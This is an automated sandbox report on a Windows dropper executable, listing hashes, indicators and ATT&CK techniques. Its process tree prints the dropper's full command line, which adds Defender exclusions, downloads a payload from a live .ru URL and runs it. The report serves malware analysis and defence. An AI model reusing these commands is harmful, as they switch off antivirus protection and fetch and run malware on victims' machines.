064108b26f82e4cf579d93efb547401cc61436c1027edede6bd5ecf601cc8b8a

General

Target

ee53c22fb468250a322d4e4af41d7cf4_JaffaCakes118.exe
Size

5KB
MD5

ee53c22fb468250a322d4e4af41d7cf4
SHA1

ad4fd512fbe16266cc5d61557a7586e7acb92ac5
SHA256

064108b26f82e4cf579d93efb547401cc61436c1027edede6bd5ecf601cc8b8a
SHA512

2e3af9ac12cc85e3f5a84dec9114c392f643389a1e29b9b85eadcab17671baadc640265bc52463d14fe603211ee0d2a6e6ec1cf495dede8b8aa3592a09d1d2ec
SSDEEP

96:xFNM1k9DrbN793yG6dihlu6O4mNnkOGX3aLlYR:xvuAF93yXihf9EUXaY

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://f0550716.xsph.ru/U3ew1mckZfTHHAs

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
13	440	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
3392	powershell.exe
684	powershell.exe
4792	powershell.exe
440	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	ee53c22fb468250a322d4e4af41d7cf4_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
684	powershell.exe
684	powershell.exe
4792	powershell.exe
4792	powershell.exe
440	powershell.exe
440	powershell.exe
3392	powershell.exe
3392	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	684	powershell.exe
Token: SeDebugPrivilege	4792	powershell.exe
Token: SeDebugPrivilege	440	powershell.exe
Token: SeDebugPrivilege	3392	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4088 wrote to memory of 1660	4088	ee53c22fb468250a322d4e4af41d7cf4_JaffaCakes118.exe	82
PID 4088 wrote to memory of 1660	4088	ee53c22fb468250a322d4e4af41d7cf4_JaffaCakes118.exe	82
PID 1660 wrote to memory of 684	1660	cmd.exe	84
PID 1660 wrote to memory of 684	1660	cmd.exe	84
PID 1660 wrote to memory of 4792	1660	cmd.exe	85
PID 1660 wrote to memory of 4792	1660	cmd.exe	85
PID 1660 wrote to memory of 440	1660	cmd.exe	86
PID 1660 wrote to memory of 440	1660	cmd.exe	86
PID 1660 wrote to memory of 3392	1660	cmd.exe	87
PID 1660 wrote to memory of 3392	1660	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\ee53c22fb468250a322d4e4af41d7cf4_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\ee53c22fb468250a322d4e4af41d7cf4_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -Command Add-MpPreference -ExclusionPath @('%UserProfile%','%AppData%','%Temp%','%SystemRoot%','%HomeDrive%','%SystemDrive%') -Force & powershell -Command Add-MpPreference -ExclusionExtension @('exe','scr','bat','dll') -Force & powershell (New-Object System.Net.WebClient).DownloadFile('http://f0550716.xsph.ru/U3ew1mckZfTHHAs', '%Temp%\\system32.scr') & powershell Start-Process -FilePath '%Temp%\\system32.scr' & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1660
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath @('C:\Users\Admin','C:\Users\Admin\AppData\Roaming','C:\Users\Admin\AppData\Local\Temp','C:\Windows','C:','C:') -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:684
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionExtension @('exe','scr','bat','dll') -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4792
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell (New-Object System.Net.WebClient).DownloadFile('http://f0550716.xsph.ru/U3ew1mckZfTHHAs', 'C:\Users\Admin\AppData\Local\Temp\\system32.scr')
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\system32.scr'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3392

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
3072fa0040b347c3941144486bf30c6f

SHA1
e6dc84a5bd882198583653592f17af1bf8cbfc68

SHA256
da8b533f81b342503c109e46b081b5c5296fdad5481f93fe5cc648e49ca6238e

SHA512
62df0eed621fe8ec340887a03d26b125429025c14ddcdfef82cb78ce1c9c6110c1d51ff0e423754d7966b6251363bf92833970eaf67707f8dd62e1549a79536c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6b9b712115bedbedbd0cd0ff3f6c31ed

SHA1
79433d9defb3a7d01855a787c5cb2bdcd2d90a3c

SHA256
c63b68f822656c89132bf75f4a0086531d9a6f1c8ceddc87c6464dfa784d27f3

SHA512
fd729d47dbfbed4bff6e5b8aaf0196aad36d241d98cc46baecc2edd5a2f2bc21c2d98b14869707709245607b086e8702400a0157d8d1ab7d1c764f5e202fd51a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zjdhdoor.v03.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/684-8-0x000001FDFDC90000-0x000001FDFDCB2000-memory.dmp

Filesize
136KB

Download
memory/684-13-0x00007FFC0A250000-0x00007FFC0AD11000-memory.dmp

Filesize
10.8MB

Download
memory/684-14-0x00007FFC0A250000-0x00007FFC0AD11000-memory.dmp

Filesize
10.8MB

Download
memory/684-17-0x00007FFC0A250000-0x00007FFC0AD11000-memory.dmp

Filesize
10.8MB

Download
memory/684-18-0x00007FFC0A250000-0x00007FFC0AD11000-memory.dmp

Filesize
10.8MB

Download
memory/4088-0-0x00007FFC0A253000-0x00007FFC0A255000-memory.dmp

Filesize
8KB

Download
memory/4088-1-0x0000000000EA0000-0x0000000000EA8000-memory.dmp

Filesize
32KB

Download

Analysis

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